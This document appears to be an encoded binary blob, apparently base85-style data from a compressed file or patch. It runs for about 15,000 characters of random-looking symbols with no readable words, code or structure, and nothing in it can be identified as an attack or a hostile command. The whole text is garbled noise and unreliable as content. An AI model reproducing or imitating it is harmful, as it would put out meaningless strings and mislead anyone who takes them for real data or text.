z$%WM9a#8g+xtN+ouA*j@tE<`M8ftdAj+#TRr{v#p;ngXs8!_oYIS*m zT1#G})|D5l_2iXmeR+f0P~NOIlDDc&$JDm+X|Qecex=a?d<#KXujhsf?AUD!B%8j*6ax-m<+)~>mx6}5@UA4dE z?%F=NkG5YPq8*UOXb0u#+97$4c357n9g){+N97&bF?pYMTt1`*J7!f!tY-l)LE9Y0@HdRFCwUP$?<7g4_H#g(6W2}L$aDw1=bCh1je5JRsKFJIYVvp7P7MuZWI^ zisX2#sE+4~=6IL5oob%dk3I@(b~9p|X2j(5~j zCpv1YlO6Tcsg4Hfc1I(1ucMQ?-_cn;;OMFzbaYb>Il8OI96i*39X-`Ej$Z0HM{o7K zqrZB=F+jcO7^vQM3{vkp2CMfS!_|k5k?JGID)otDof_%bpni93R3n_5RG)LR>UVBY z1J12#(78>G;oPpqbnZ}NId`hDox9XH&fRKU=N>hlbFUiT`L~+Dxlc{#+^;5b9#E4w z530$Whtw3#!)i+B88xf(teVYvPA%m;ua)SAw#YAxq=wYKw?THkp` zZQ#7Cws788J31ezgPjl6QO-x|Bc6S97}S zX))aOwV3V(S}b=%Ew;O{7RTL0%kFNf{qAn2)pIx3+PPb3?cFW4zV24qNOx;(vb&u& z-Q8ZB>F%t}au3wzxCd+V+(Wem?%~=Z_egDtd$hL9Jyu)cUahTiuh&+)H)?C#hqZO? zf3(By6WUStY3;cCtai$MK|ABVtX+0r(;m5RYR}zwwAb$Y+B^3n?V~$V`{jPFNuF1l z=6S36Js-4~p3hob&o?cB=cks;BkCzVik`-!>zO=GJ%`7m7x4J>LY{zL%@b3v;fbZ! z_Qclfc;f1HJ@NE#IB!^fjJ}`Z`Y~eZ8l$zQI#f-{h&TZ}!yDw|E-p z+dU2Sy`HA}K2J0Kh^M)J+|yG(?dhdo@J!RMc&6)DJu~%dp4s{h&m8@>XOVu#vsl0H zS)xDnEYn|kmg}!QtM!i_{(`Z0tuA}l>56xw9`J6`V|q91vAkRK*xs#r9Pf5Lfp>?V z(7RJl&?7(^p@VcdK>ROy}kFo-qHI&@9cf3 zclAEfyL%t&J-tu#-rh*PkN2tG&-+Xt;C-$S^1jfAcwg!xysz|8-q-pV?;Cxb_pLs` z`%a(aeXmdPe$c0RKk9#aKj|~PpY>VZFZvwsSACxMm%hNuFS&SCW0_YsR(K6#v)5s4 z^}3AhUXQWE>osx=)GLCx_8~=Kf8E3r7 zjf>ut#wBlRBt_q{ocNN-N#xi^pT!kgE4>CI=n z_7*VSdJ7uwyoHR9-onNwZ!zPuw}kPr4j9n@JM-fAfClSMp$cW*_ z(}+>VvxqUqi-@tt>xgm2r-<>!mxu|*w}^?x_lQZx&xpx};G1GdzNv=d`_s^TGYrEw z$ME>(8(!ZEBf_`Z@cGsle&0GH;M-^feOrtezHLS<-yS25Z=Vs@cfg3}J7~oB-7*sT zZX1bwcZ|foyG9bNUBa`o| zk=ggn$m08MWc3M-Y(CM^*e5w!`D8~spW+zkQytTNnq#F;ckJ;Qjw3#gkC0`uJWnX;96<-3!RbL{luj`!QujicYukW1eZ{VEgZ|Gd$Z{%F)Z|q#;Z{l3yZ|Yp> zZ{}R(Z|+>@8mq> z@9aG6@8Z1S@8P`d@8i7V@9VtlU*^2;-|u|vKj3`gKj@6~A96nPA9lX*-*&$AzjD6v zzjeOxzjMCxe|CQIe|LWN|8#!!|8k0ffJ+YqUG6{(moE_86(^9&6)%w56+e*9l_-$K zl{8Sul_K!FD`lX(D{Y{nD_x+HD?^~ND^s9~D@&lND_fwZD@UM~D|ev2D{r8ID_@|I zt3aT!t5l$gt8}1)t3sfgt6HGDt7c$;t8QSZt6pHFt3hD8t5INp)tJBJ>v&*?>vUkJ z>q20c>snxs>v~|H>tu%tH>we&%>v7<)D>87z^(=7I^)m2}>s8>G>viCy>uuna z>s{cq>qFpQ*T=va*QdZ)*XO`R*O$O0*SElB*N?yzml(Y2QiIoBj^GWKH+a((2;OqV z3f^|b4Mw`+2Vc381>d@o2S2z{2L0|d!GJq$FrNFjV0?GFU_y8LU?O+MU{ZJHU@~{s zU}|@+U>bMsU`BV|U=DY|U`}`8U_N)zU{!a;U^RE8V0CxpU^{n}U{`n5U^jQQV0U-* zU=MeVU{80gV1IYL;COeV-~@N$;6!(m;3Rj`;AD66;B5E!L9B-!ENro!5!{?!JY2@ z!CmeF!QJkG!M*N5!N1*ugP+|)fsWcW?ImW zpY8oGq|g*u|I6z_b-C^N6|_@vJC(6hB{R7Ll2F4;Y0mRR)J#|MTWgTErz|x2pVsZI zqYACevDLp?ThwcWCUiCHcEymQ(vD7&(9^8D6RAX{`*p1JOqQeSCM@F#zxld7C#`gG zt`=42e{IbrVLmmg?#Uc$Z0$GJ6us_Sb3S|7n&MVVE3M3DO;P-^HAT-6))a+aTCaPS zT#njDi4w~~A9Jm;ma^)Gy|uRYx}gaJ%(26JYEk>mbxMj#JDOT8>6#`BL(JEGs;LPh z&GciRHJ6?C@ltN8EQ~kDcDGZU?$(^;WPFCi96LC^wJx`LU3kvXV^8GZvnl^uuk#e( z6F&bBr>Itn=kfoqr+rY4&pQ5pIF~0?`OM(|k@=0N$tTJF56?NSUlTU|PnYqZ_Wu9h z>mJomgl*;)RcWRQyUY}QmZhSP*k{)D?rx=aovpOluG_^!`#eCfYQuv%+_@^~?(kbg) z9dt>JI=iPAQlol?Ap`jNsX6V^zLIdqOe@P-*MO$K%fchG&RtoF>Q!!Ev{KoD{7l&# z+hPzuO*YfXl~PnXpVB(d_vO-rx8~TTc1mDRk)yD+E}P5pH^|J_spYLHc#Ir1ztCKM z+H(n~*BPvJ-k#n{t?jy+cKYAnw*P*MLj7NOP5;w&{3`f=-=gU4XgP+TXbuVO-^x4f zy_L`E(W9@c8QN)r(|p~})>bN?T@`$0U8B6#wddz*E46v92(iquFS;v2d^0WYsR&8U zv~iy-q&8F1MSM=iOo#hesUAP-3)lTfWnI}rSH$qK_B57t)H%N>QO8jCbefROoXe`& znvlm#w-ahYAv0YYZcQ8d^k50IE?o;rC~KxY%_X6-nLgfxdm@U)c-ulj!iVR>5wy*;%Bh{W0f?6m?|ZwNt{YlF-DQbDqqq(85fsjwwPrGex&h zF50S#S(mq~)#B%9$zEpN@Y(z{*-UfGTYGEqb5$5>)G=5WQD3ceCmeHMQE3g4ww>SEQsu%{SP z$GT#_9%!}wR(|pvo?`bCYg#F;wX_8-t!1QYY^CG&ayK@!>SEieRa|SibM56$S*Hl2 z&6fN&MvZEXX{3o}UG#C4HIB91+4lT?jJMk0vb_c)Un)`CTgzUT(6JlU26kPZnAZHp z*z+s*!J6OoXR(-GotM`a$ii%MJ1!?vg@tB{NN%Ok+?9s= zjl(0Y<8SkDD<$R1w9K5MZa|Alnw`XdRbh=ewk6;7A8y_4U9A*agH7hxBis1&fSICu zxNWCoVTW0_p{+GVSFW7lxkO(Zr`mHazu#)-=&=d6N>SIm6AAcim$^T(EtiGA%{l+| z%{q2FRku>~v>BY%(s=$6wcJk+tX?_MQ#I*QRd>m*J9mLkh?vXx zbkEwN5#O!7Kk}AUSF@PaLivkZsYOz&{UW=`Q9V~0&R^A>U(1@--CW65n&2|)vb9kK zznOZd*8bg|*h?NNIGuJfVaO?c7|A%$$sm}dh_}${etvp>YU$?+Me>3oj zr1149bT)=x_n+$i)3gn^7YMg$THaY_GUptcOSs>7{4bwMGkcKD+zaF|$9Cg=a`=8D zdTgj)3r`Wckt`H4r|6sB>XD-R$t*vtWAfW( zStwz?F8ZBF4)$gE{dDS6eB#s`o9BepCst`}wOaK|s!-V+tFpZ{%`{WwFPNICqJ8gk zGg1_qnss|d@CjG5UDlN1FMyeK8XsN@r|6zPg<`FrWWWFD--qAwFsFF5)H)k0B~*p( zW?jm%L@$oyK*r=Atd*_%oLl z-H)f>{%Vj}H-``3g|{O^5i31fZ_PP&TSXXQzAm~oLdVNEvu-<2#wMBR|62Fwf2muw zmQM@Xb>S46c9C5dJ--$Ir7kq*b!OdI<`PcPOG|g$TGLrSWMPZ>x-w&VmujX?RVCqo znMM`0($@A?FR*nme+Swe8~q-v!*uK2;!pl`cKEozdeeFjmN2nZm)NfRHcgE>#vd_7 z_-Nn6*l>Eo6)~J<+_38Ma!!Z)#OPkMSRP3@X|BtE>VZS|{Nbx^<`mWu_Mcw2W4HCb z?C*@$5s{~!ESxjvT%MjQoc`0^k3PnukAvtVC;BMv$q{kIoZo+c&P1OT(dR<+`4N2{ zwcyV8mN~!Tb*wWqbRY4+tcyNV9QUoUy&|mC#7?vLor&<7Qecd=pVJcr)Ej4u?^~5W2f46&YsqJRAr*Ii~(h=Ww_^AW8>zr#zvp#8)I6p+a6&pV>Z|G z@LGNCZcSUuPWO6Pb!lo?Q$+Uy(dT(|e-M4f|EHcIx)%`dSnD!yk=295=Ci2bbs1}K zN9je@8aT6CW8L+w^l-e@LN9Myb!S&t>E38ncxvvq|Gr-Eo& z`nK2Fww&**Wkg@uLn(ay{jkk?U8rvg*UinS2p`P(g|1BD=VrnjS@>qwl}}|I2j?bO z({3$kEhDrY;VW_N?^c?_-LN<;bl(}BW>2*0hI7Xl-nRe!IY(a?qR(2l{jMW)r>~pK zEjHOYHtIUGsJiHBcW_pC%-8jqZQU6yt#2L09VS`#7Q^gR@0@jKl!|-8@G{zQ&l>LQ zqURjl8lCK)yOgn~h<<(_y?)V0&VPE3^WTqcT7u8{o7?e#-#QAPAN7-3J^zjM){!&N zz8XaEDgAKUkDO@j%jo;M|8&kn zrt<&)U$gh@nc0RJV`j{GX3vb-b277MNC+VzNs^qBBne59B&Q@vND`7HNs?2NoRYjH zNkWn&Ns=T-+g#-`_uv>v_G_y3faTuY29={qOmnM5V)i zlGAlkp6-H`^oKm#U!3=nr{9;DHOA9?k)+p3o76D2?g_?rJ!6l)I?=h$?$I+;T#hE0 zFeK$t@1-qFnQZ2rl5$C1m!|^+WseiDSFVv5mo|*9Cf@v|A5X3so4?9a{mmQe~@( z(k>b~SC^u6&v2#VbIvMGa!^lWE#pkAg2nl!Z%rNF!|YmlUgD^i+}gt?JisCc%`>d zFVQ#YHv_kSW>o8sOn-GW-1KJBua&Y6te=YP6=ALB%`)nAef~eK;`|}ck~**6a{AbX z$;Kw>kX(}-3f3P;I)b(R2;TKJSK$VWz1Sp`k|Igv6lbkj^2P46bvou>XX?=F^f|f~ z+kKAC15w`{G^w=vgH|e5t+I_T_Bv8qWxL8zpAX@mtjcERUst7KS!LH@oPNV&^-wnN zaTotpu*b%VRYJ>D6YkSC&l*pe+RBKnZD0RnTtw}1m)T?$yXdu0tH1Kke&;Yqsl}c6 z)3Z|lr3a2NYpODrm-LE~x6SfqS;j4SiyR(nM%ck`@HDGJtH!ggRtKATtg*@_ZY2!q z6OZ^z?ed2}wL_`foRyQXLXWju*@m(P zuurM6H9XcqrQUbOly+@R{>>j2Y8_Em*QXoXf4Ps)j$h=q|4?Rq%63x?)9-$Nr*Rw1 z7rDBLIG$Dc3D>` z7vFR=E#N6fHKDEQ_93md{QK-0c8&6{Xn@;lt<-qxnpOjyT4&e$cIxVD#U87ZQc>eg z+ppZxC}|79{43w>3r?G9O}M)C%o$_aYB2wT)rkK&jIJv7b{IXBdb^WpTe}?f1HFZA zgCR$adV?8{o~hQ@ZB+D5ql$MJb)%!EH8O5TzGT7}_PM$5n>@x^6@$y3Gd+5WqoVtp z5kl0ZhHXL%-CbEPV2V{G6T4G zKc^xp7q6h6R7&P`GMkebUa(ndOjDDm_L~|#=YQ~i(=MN?6>2@Je3l%S+?5vBx_2D9aTY<%evYu;{NYCgMLvhz&Eeo$qj+&36C zmp4iJ>a1!;$(-w3Ql#tdq7)P7UaV*9y6fZZjh;OuJF3&Iq1MYPv?|W(TdnD)XKm}) zhB|AEgPq=1>cRCl7#EWFl7FX11 zY6|s0+n%HzXl2LX1Lfkr8E$KvQqqH5TfwxCiZ7T_kgNByf8$f-Vw7{=bMrW*^uP6` ze7AL|_d0hUsbZA0txIhS_TJwwR19qOwWGdM>iqMj@0{zXJV$kOl(f*EPP=Tt>6g0S zkb3HJdS&UKrRLbV`=bh1>a)0&9&RM{RL6Obqh8$UO@F+F3!lxV5cmp+7i1 zoc)YgSzT=rVy=F4rCHhOz_Xt&LAfgXxP$G>mHoE%j;N~2XM2|Mq?*w-m~HBxtY^zJ zSg`x#s<;)~+l$;*stV(~As)-GlR(86pn98$ciBm?M zST)rp_yVh@T9phpwSB3xQq2TwVonGzBxW|nzxsDQ_pJFuC_euUqo*rd% z(O1hKT_P))HD7zqP)DUw#;DhRH?a!k91)$9_I+2X`?|5~PutQdRjmeXGV1(bqk^Tk z!3Yz-V5yX}NqX&YuU6sqW3@tuHgK_tmA(3*ZT8BER`HxFqt#aSMQXLTqp3~97MS}c zvm&Ce-qzRn^5;87b^6w*@lMT&8EMiMQYXy1R>dm$2~L7hO4a}*C++!_E)P#PQ*Jp= znmmxTf}-KZW}P*8|G=+C1*?-socnr|np8@-4VQDGyK2*&8=7#X1UKBp*-h$6U2<1q zWyiF=N|E>{yBLC{T+%VqSqJ$iHPP;AZc#Cir}ALW`}V3qcXgkvB-km^^?BRzP^-7P zx`f>Ar&L`|nAAP6^xj`DGJWyvQ=!&Cb)Vg%k5H=DZKh=GcVjwFNAj*ntK=Jv`ni=U zg?%4}mbtx&wJN=OwDVezHTt3$jK=nqvb_=HtgtXYq1Jm!*}Go0D<$`dl9CRVB5`}E_lYlcA9P#0RJf8uKeGc-x4cD^v{uhK zyM-kTd4_%CIr9vASvQZhSNRu9AFJOLHC*B5pRM+ovdYQlOh-v7B^|-;lk$~XCo7e9 zojk0;S9X z$*dFR5(AwF_B-4Q%0K&!qOOxS_&7n0k%RNQvy6&eW%g$;m}T~g-}bb}id6T#@<6B+ zqm=9hU%rxgyRuz(EYwO?W(7__hn8)Q}+$QXT26KIceu#vASxj zT1x$QZCdX_m)u=>l9d?cLegumx9ip9g=gGWV|8`hUK3}jLm`YBI$!!_m=+ar&Zt6m zUg)diqIlDwe7Wpi(~|FS)aTAR*V;PfsvVc>l?zE_W2aPQRZ>zZwW-fb=KVrgQ?n*` zskT!uaYCaCxBU$!F55<%*^SS+DrqY}<+?MsS$IWFA6pnn0y`+WorAC*t9S2IjS>PwJqSN<|th<<)#y zVibS0P`%#EBaLdtI6Ygrm3BU7iCNj{vOCn8r>=6qR+-!L&Xb(fgNcKUf2Gdu<9nG! zE^=b^x>D8nB1oq#)`@}r<=P5$_3eH}{lM&1+YaIKJ^=eU^eT(!T6(=P12GdfQt zR=#ZWAndwwhfM|?5x$x-lOa2Y2H>TD&ei$yGrf5 z$CPTzXpi-QvIS;(tZhmio#C-QRcdwXQ0oh&K4Z@CwNf`MGA&Qa=t8vd?+@NG>ea@R zshlLKTukJuu9H>XH+wISa#hs|fQExeF{Tk!;>gMJvzxeZ<_Nl@c8)vRAi#O_=V;h%bY#p2!ydP_9KRPaY zIjVu0Ru(Fk+z)-Ub>Blfm)>ZvW`B(jJQ#*IPW7_4F z&bspT&VF0_smL|fo)ZS^&7|kreUr-yQ};dL^l;L1Nq_a}jiwKitL6J#zJHhMR{GAP z)tUVNnL!_W8OpSjru3Cx91=kDyD^xncO(>wh2vQu!?sqdJfXSQG*@z!&>7)%EO-1 zXrJx%7+prujE%Z~et@x2tLGitddKGFt%`QB{4Jwi7;WO$$cbMEC)^(#U)nove{tL% zblkq^xSi#=y~e3I?>I5N9v6D{a6fCvIVy(+MDT66df#K0Z=te{XLnnvQmvRF>ynWY zl$qtnlg--exNnS#m||30N7Z*!wdv++h~suxp|MqWYn~fT=$2`eNyIjj5>}BcLXu@zg z>KEsUrQcq2^~0BqIzgOuOn+Wx)E`e6|KcYYHPNwcbkri}>Sv8iFM8z-=E+c=l&U#3 z_95q~NM`GQY&K8AQ9Rx0oqIQ)H$C;>%gnlC(G@0)yaq-+T*P|2Y8455yL6>e*Er8i z_BxXOKJVu!_duV~!f=J+D(dcj;Au502fVTcR+x%O%m({r3Ob*)mb zoicsSxD}=p7IiVZxPISc@})B0i^PQB9M z=9(0}d%{z8pS_#(7IoE*pT4i_e@v_%T5FV~$X;dARz!3UC!uxXi$h&cdxe{xTF&f}Qk7@oEv(FH7xBcemx|xY zaC1V=2B!`^^RUT3`&1fz-_l+thkkp{JY$Q05|{jRbJgBstwXbGgjOw`C-v_?GjXxs zeBYzu63&;2x-5^gQm)&tz3!v;pKg7?sG38KI`CFV+0}rAPqI#|&!}u49^3VRFRKL}V=hUI6mF)^=#YR%@b8=$>;p%)z;g1>5Di^I;kC?5L z_+qDAr_Iin1?sAuFRv>#I-h+vN=c2d^Ym?HlYEw3`)dyA65Phyf2|~@;v!fK-ek{2 z*}Tb#OR#VyRua>nJ9(^kRs5u8Pru$}eV}aiTj^~|+3zquRq85AVUJSp@QwB$^~^5m zkeEsiNt`8ITYaN^5x4di`rj+tyU%*8pOhNR-1f9mb_}d>c3YLV4>E_7GP1wE)n%D* zjcH}UVkNm2EPj$NcI)w|a3!X}{0rubr1I_UW?gjQNz<>@a(0S6(AvBY`1@guxYE2& zv11yoVk)OR4CXwoBxRdn&)b!b45i zRf)a$94uCHRo+p_d#hmSl`{sVt_5>z*G_$!fwUCa7bM|IXu{j;G~iAwK) z+xezTDLXWs2jbRlJv!GU3`s{YpY2wrU5GCdQ*j}oNf_cbSZE1XnV2R|H?iMNI_h5( z`(SP*++d+e{3OmjzTh8I%4d5QoUV!Tu0!q_ko5zuS~saUs6g zG3}|Y#?pTKD`nS`p-P?2W@m^}uRFV=rR__9AZUr}FvBa^toqkPR*m*Ef#oo??C)MaD=Y|FgS9-!=eW&;={z(|(vz%8NEDY(3B@7AI z?suoFINK#NS1G$ZmMZlHXK3isdWVwHWhCYM%9Q_iN&nmBCbdNBhTYe#b@Ex)HA#m( zf^AY)wN}GgXr+lBfD(RJQCFPRJU^)KxYpfmTBPv{JM}Ji(ovUXZrEQWn zY4H+MX>ZcX?A}LzLoW47d=cAUeUY}RTd3VPX+@53^F0TGGs{K-zK9vHEG1Q4wp5`nsl>jSQI`W@Rb2c5dV;)rftJ zTFJiQ&fl4~zvDAjcGP{KS9i^8lMm2En2WIHNluP*2jOk$dI%zV+(eVfO+Royq7 zlScKEoIA!mq3u3yp6-79B(!YL*j;=db%%2CeyQ8KODTJA_q|F5+XK}2W#gay?@=Ab zJf1mq+T^=b*Rx^P1IiaUf8$ej3+wxC;?IG@)YZeIjII4+{8dlc+KqErk1J)rt=Dgn z?YH_`oh%8no>W)2_jOxSl#&_pWxT`HITSK5)Ot=`{f+NjwawnauFspZ=fy9ot1>Tc z`*^7Jin5I#6KX9|N_M*c{uBSMRJOs+j;QNMhfYyvXH`gA)JqRISDkav=C3lR<=yA3 zh>SX8X8%vEFtwy3rKL|7lbUU}WIfJ2&go)0@8#4mIdSYBuC7usm8*aCMPHQ|q&lHV zxDuBeoM)1!`{UbPB5mA1Gy? z3anK+?Odl)dIp(4Uws*8KPeX}bvR{MDT!6E(AHKqPtm=ijau=s=@Y|;8ub__M}DsS zldEzT$nza|N>x|;M443_`}tDGwDu3CEu5UfldHNfl-l%@QgY_m<&I7K^LO-EzpDGD zJZ4-R8Ew>^b4<$SAByKKrUZ z4MM_@t81#8lD7TRzW5!VZJTy0HaSa0Vj$&VpLL*fcl;?6=j7jvdev!VlH;3MwQ@gU zj}V8B@IO$c^4O1FMJcXe{eo6=PbCbe^y#V_MWzH(N!3eJAQ|NLs+AawuL% z{Os(Ir-|ho6TF|P#3>%im-|s2m69_wWG|5x;xB}Ku~A+f*II9GLcqDt(4-oVPqBX*B8{(6(%1xt)=*iiEZ zLEgpK=fY|iv%WPha(0_B>LVxDWIv{yGAy=P&et$C*O)ew%=;O==Sg-yy;;-LFncbq z!?ouJTFEy$&H5PIJZBG;%(U!q_1VX@17_E$ya|>vlKN+#kvu|` zR^+kfE8BI&#urJOgi-$4nsR>Pg2N%!66K%$K5DsAa-L=RXX(iaf1kH7>$ZPvGiNHM zJ;7O+%D;KzJl6Y4eb~j^ckZ%KYlpIpf8Ay6Rw~Qc`{r_HpyI+VX+0ahm(cbp7d83T zQn$h9-*#CCm2K>sru6yMqVN#;A#1je6YK;UaO7JhgM^H{~{U zwE2@j%P~eBf6S;ed=akS#K|d)M=P8DMM_Y7mJ$qBZc_SkI;xbQ#7g{I!t=r(IyX3d zRL8}>&o#kr-Ewy2UY^Tz?|ou`iC>_-)yUm|AzuU}MX@$F$l{yPB(# z@(+3Aq1~2Wo9q@4q2ebwBq^7)$r+)NSCSjjqU6k0$z5rUl9Q5Gl0){Htvc7lZTT+B zPn-A`c7yTxaBuUc134$K%ja$@O67sw_VxEs^5kHTl5y(lP0LK4K2I%9Qnp23nXEMIrj{0qjv*>@TBf@PG{oL5?zeQtk^ zeTIsul%?dZl%X_+)s)ZW_h$aHCfB6r`tVVc%JNI_-)S@L_!Et8 z3q9{OYW881e{!O$w4NCH(=r#%iES66Oq^Re?e|Hi{eF0_Da)Zw`*k_(x0=&_Pu^-` z;CA9t&xy;t7fju_Hr~W<{#FwgDM9<3W8G2)&kVH+R4F{0!rWFVDI;l@!A3f1=Q8F= zFHn9hk+=k_CFPf@jG^V%97(05P0}lMC|C`XS}Z3<-xO-bsEy2X^c!A@ef>ytRZ=cz zgI|6m#JXJNuK4#ub92V@NWO}%ude=+FxENs>P_ary8emEU1RFsxE`jK#Pv3Dwr56H zsTlm^?0~Y~%6~?@q&8+3; zc_v?;;?z!^LqGFnwpLX*Z%L~`&I*Qo45oyzpRQNIQ~Kl zHAbmQdqb_Km0EI#$C|0s!(WA3uPXJb^9=jmFMJ!WZ11r@M?c}pGo3u0$P=kNUw+Sj ztKLy=?SEA1`X_G1h4>=R(~|OFPtoN+bC&;1?CWLPk(9KI@ls2q6zukFTNYW;wi;OsuN_%x$_f5faxBQsOTr}9sSA4GEtnTMs?zTQw`O^1o z(|b!FEB&tYwqLqTzbkPG7E{SdNu}gzu>6zU{rfo?Y;=~fTXI+G)rvPvJ_j4iWZVii zs@c0C^*DH`z2l|Uq4LvFejPgO{MSSJNeTB-dq?@3g7lN}Uxi@3ql6*lD|JKaLHT7a zX_NXQHMT{sP;0lUr_v|h%G1d{Ws~`k%$xrH>?_}?5o>rxJg9tL$FBJ!O5MhJ0LPV@ z&Ht26DV53@*jm~D574dFUdzzu{YxH5`w-h-=OEf`u$hOd-BqluJxJ$6loaK5l*9j6Y3D|M-P@b9Et(iSX5k`76mq)48aC2f}) z`+vIx%TI^IUQ!e+9a6rMA}N_E14FDzs*I#gN-0R~EWaj7{gXN=HBsUxDGHXSl7G^o zE_F;1w-RR=Lxc6U|73Le--^|O%up*qjN+6BtvtzQ&N|ik15Pj(a(<5e&QSl!@vpWF6_>x-a)Q_j zgV;)g*lGu{HBh#Xdbq46N^QH*W3^Cf7-u2fpj4-4IB`rV`-G-jlv?@||A1Gj$8n>Q z9d((b);sr2anuUu>M_Sw>1X51R_E&NPlj2&R2Vg!tF0V0$Wa#@U!HN?{^6)Lj@skg z_nl)K<*0gpTGl-(G$~cvcE7US$X8{0{ooTv*;j{@d-Y*;b;J(y9Z>V%%qoQK_Azy} z1A9qy&3W!6^Bv1@k2%f0h_8sd&m={eNK!H!yeW2A1dtgsdZ@bp6>8Tm-Vy?cSti=S!f?U&Yu#M&5qTx zO36Q8ExxjHVz59dsj=5L z3H>iuUsqSBJMCQ3R_z|s_MddF9%oOgUc+lN(By6-=iTQZ=k2B)s};&;%lYo9yW^jI z_3ewo6<_+Nn|{N-?_G7D)%vC8FDJ>~;Nyn@A7#EUj)A3d3^IuEr0~OlsGs3KG zN{KJu^RDPqWwT@Tg;EmJe$I)SKRPRN_I+Qg`@-3crbC6q-45n zahJK>>Zm21L(6Ql_^MI+H}y@UZ2zJz^3S%#DO)FErF(&V-l=P~kyR3{ex{^#KYmk! ziM`aJa84f9y@35TT<5{m56pd^^EOvsed&T_C9BXjxI!$SQWefvmS3s6oxGp$pmDow zkXhA@yv3AnPe-};n6lg%5@JqkbiSjWS;5J#>gqLbhFEo!db+Rq>u(cI zY0+`6>ztY+b?vS=bKiYlqgHcv)*!V;`&Fz_zG9<(y27acG&5>=xKX1W+e3~o*S0lR zvuB$$tIkT1{Wk@@Iz4@(sRuh8wT^H4^;g}``#skEDm2*R+zh0fMe35@9u1fG&OO&mj-_*K! z@0s*=cD{X;&^ogBL(k>^)0DrSv$jIt9BxX#xl{U{%4WU2smIi&`IAiR-gc+QTBX7r z!?&-x=KRDeyZ%SyKk=^_Ysk6>`7p%vTw6IcR@;`dA6VC+)6VI#>oyn{_J5%DeX<9) z{_`Gdor-By-nnj6>JR$FElQPN|F+cSeU!TIt_fH`J}GxQXWzds?;%g|2}UD zbq)=f8|p?uVNR7U#a|S-Bxv_=C3vC7v?WDlr6R~CqyXKl^S-XQg=IFGCV}S zT&-+U(oxJZbpN~rx7ug9x}Ep1x&?gA9zNYJA8OBO_G%Ol=2p_tr#RHQR)u!u6`|G* zN;NNKq*LnU<($Bv)aaHb9ik-1?Gtu&o_1mfwpNn&5>pwYrZ{sw87snB7r0%87R=Tk=SzWM z%9mL_6WWhcO&i?e%nyc5F}8tyL#;=Yi}Ytr%70j8<_GhSnVgiX;$LkijI~Y}qa0hC z>r4zJE;|TKk80wJ`1}U5CEdeCH8D9JOxbe_{r3pDDz=X7an)h`+gF46_dnb8JJP@2 z7tHp!Duut^_ix*D&mdvQd`;F*W$&-tXXoz4ZvX#b8+W^@lb-peZx4ITV?C)#YZ-r2 z&~@$djUm<)Ws@H6x)(iV=Z#Fb%VRyKuAb((OuN{O(mN2xuj3Dm>S{-Ne%%6O40xoQ zX_o_?k!}quh5@x-c?$a(<|(&Dj0UeM)yx@Fx;x(`T<@HSD`ox`yAt&{EjCdvI6jMi za#c?H{_|7QTRh6yZMv2$k2NPm$O!S&`ytkwDt=-c9B`GL5TAyGM%qCYwNx4bv z<#c?pi4wQ=x6=Bg3;PR8t>l|(IVD5NSKhN&hFgCijhVW?wS9kv>tLPP(2p&)xEz z(ut=S-T%oGOO*k9#i?ptUB^W@_vtzCEsm|T^RyG}$tKc?eS<}&_mGRr#Ac9S?B3rm44nI z-`32G9`0i10`i@gtSAKzn)0xHsjG5hG;7>?_V5K?pEXoA`z^Ab-;2%lwY%)T8VM$T z@;-FjR5K6rhM1if!A=eubG?Z{9{Y22xDr!)wAZ`5<=g*7eC@7N{@>a3m-lj?%w9$P zHP^I%g}lMiXH8z}9;Ls(-%M6XWapXeHDuqUe^bksKw7+YR@<09m16WYUbOmC5}(b%5g30(VJkvgu` zA>Qq4^%MQ6R`M-{d@n9LQRVvz*+nDYSIBo0ms%q(^}h0V_(}Qxlkb23$+wLEx1>W> zwq-y1|1D{|)O5%`fM9R`|DC$__rEp2)YxC@K6vSKF4bqdXVs?#lz$$8{cTWFH4e%d z*zXN9@00D3M9;`<)l%JOD?OIks*PjQJ(6wHqp7XLt=L3$aNLTmi(~8VsNRm!dt4=q z+4VeDKj*6WGSIOFi-C@5H}*2=tM;xYtsbSP)@eIEF{DgQy2G4o9?V5Bo4q$m``5aQ zQ6ayYKKm9j^`fR0BF1aB#QL+vq^NnUL zIr~ZZ{N+)rOm$}tr){@zzL|bQ`E-;~efhR;hH`PxQMYHBQm{`$)OF~S&iuDe-6y9G z$;f^%hJRY9t5+9UWnbKU*3`V=xbYUV!)1AoYm8P!cv+rx63U@AH)Kl}TZhUXAb8;ZLp;gCW=1t+ePfd%jmS$?x z&}g%l=vN+|Jm(GtFRA@n#tZWZIiWTS;?~Zi|Sfpm%cum z)SgLSe0rw17~`CB{ns5<`V>pKuhoBZpFVlht|i(<`XN)V+}LzZO04XjM(;E}o?y=J z3>NNRZ5M|jSKs!S-m!>x zMmv5w9aS5c@~~}>s}*6f$;qH{mZ+RGI{Ft=ujFiSIcc=~a3wVRK3z8?+^aq`^0lrTR~lz4oee+)lYJ>0maAf%HRH@a*!rD#6x; zrU!ZVIn&>N;k=`|n^8^gNRfXk55z@HRbT$(O_IJU=f{qw-_;|IJYU|(m)>jiE~JHK z>^V@&ZGEL;5Z6D{`c|po_nO*tAKwb<7SL&|aWTPVe3pOTo?&;94o$9#?J9Z@{RUr7 zq7=995`!O9xT%*JCBF3Ks*Zv9_l2|1P41Jcc8Y#>QuNzJDcW?5_NK;}e@HIcYKN7n|1Q0MIO)|YSUSp2rR1OdmvK{!=}Y9Vjq*>&r{6K7)jZBM)p^?R z9aE}rJGM5CZMIWOwox)VPoF{Q`XcWzzFlBhr&LY6Im@V@ozU#l2KChk-U=yG=T;ka zvb}M!t+P>kbBq#Sr0vT;;Us>N8=~ZDe1yrD55}03Phn1@^PtA##wIQFuS&OW>9g&t z7uyCdFr$Y3*3$K~{chI&>&GBfH`>)P=OWsp+LOvABU9Zi=KGl&o&9>Q*EoGj`7*JS zX#sY)Gu7B#_ZH4&Qde6gvWHKpS0c@yKPwG3fByV5%>4PYdc`m+PTltbSG9W8x%v|S z;L*A9CUXJ3S7>LBnFB9q?x^cb+wYF;JC%+Nf0&#M)+?`QW_-5$A-z}E{)$*DS)r0Q zsKMT}mhW>5_8;ij2Mgm2=b`AnsXF&*W$!l*QN2J*r$3OMK~ybf`j@NwKB{Hv(1npE zMKQJ6hoY{Ic_GZ2p_HHRo^%*d--TEQ#@O{>j>ou=^q&8Z8DXV=KERAyrz0cRwAJ+o zJyxrRBCv0|I)BlB+aMNB0v3x2n(mtZz548%FZ9sDq=U2Wpe|i?T$6hz{$zwIl z(^KRd=GiKzzj^-X*Uy|!{o+R^*S<&T6B2vIg_Qko`(z(8a{k=cs5_i5UnblZYL%*3 z$(vD$v;3=Db{N=Ww|<(i|BzjbVSgw)Jg zk_W+dL`h5~ev%GJxt&*SRGXF?T;aw$B&G<)igxUBJG2&qblhe{V$n 